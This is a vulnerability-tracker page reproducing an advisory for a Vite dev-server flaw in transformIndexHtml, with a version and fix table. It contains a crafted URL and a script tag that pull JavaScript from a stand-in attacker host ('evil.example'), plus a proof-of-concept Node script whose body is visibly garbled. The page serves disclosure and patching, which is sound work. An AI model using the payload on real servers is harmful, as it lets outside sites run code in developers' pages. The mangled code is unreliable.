Live › vulnerability › CVE-2026-112945
Go to dashboardVite's transformIndexHtml, when called with an unchanged browser request URL in middleware mode or appType custom, can be tricked into emitting a script tag pointing at an attacker-controlled host. A malicious site visiting the dev server can then get attacker JavaScript to run in the Vite page, which matters only if the page's inline module script stores sensitive values or allows critical actions.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| vite | npm | >= 8.3.0, <= 8.3.2 | 8.3.3 |
| vite | npm | >= 8.2.0, <= 8.2.3 | 8.2.4 |
| vite | npm | >= 8.0.0, <= 8.1.5 | 8.1.6 |
| vite | npm | >= 7.0.0, <= 7.3.6 | 7.3.7 |
| vite | npm | <= 6.4.3 | 6.4.4 |
| vite-plus | npm | <= 1.0.0 | 1.1.0 |
customnpm ls vite (and npm ls vite-plus) to see the installed version8.3.3, 8.2.4, 8.1.6, 7.3.7 or 6.4.4 depending on the release line, or vite-plus to 1.1.0Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Only apps that match the following conditions are affected:
server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html =
= () =>
( {
server.(, reject)
server.(port, , {
server.(, reject)
(server.().)
})
})
= () =>
( {
server.( (error ? (error) : ()))
})
attackerRequest =
attacker = ( {
attackerRequest = request.
response.(, {
: ,
: ,
})
response.(
,
)
})
vite = ({
: ,
: ,
: directory,
: {
: ,
: ,
: ,
},
})
application = ( {
vite.(request, response, (error) => {
(error) {
response.(error)
}
{
transformed = vite.(request., html)
response.(, { : })
response.(transformed)
} (transformError) {
response.(transformError)
}
})
})
(attacker, attackerPort)
applicationPort = (application)
browser = chromium.({ : })
{
page = browser.()
page.()
page.(
... === ,
)
.()
.()
} {
browser.()
(application)
vite.()
(attacker)
}
Observed output on Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
This page as .md · .json · in your agent: get_signal("CVE-2026-112945")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.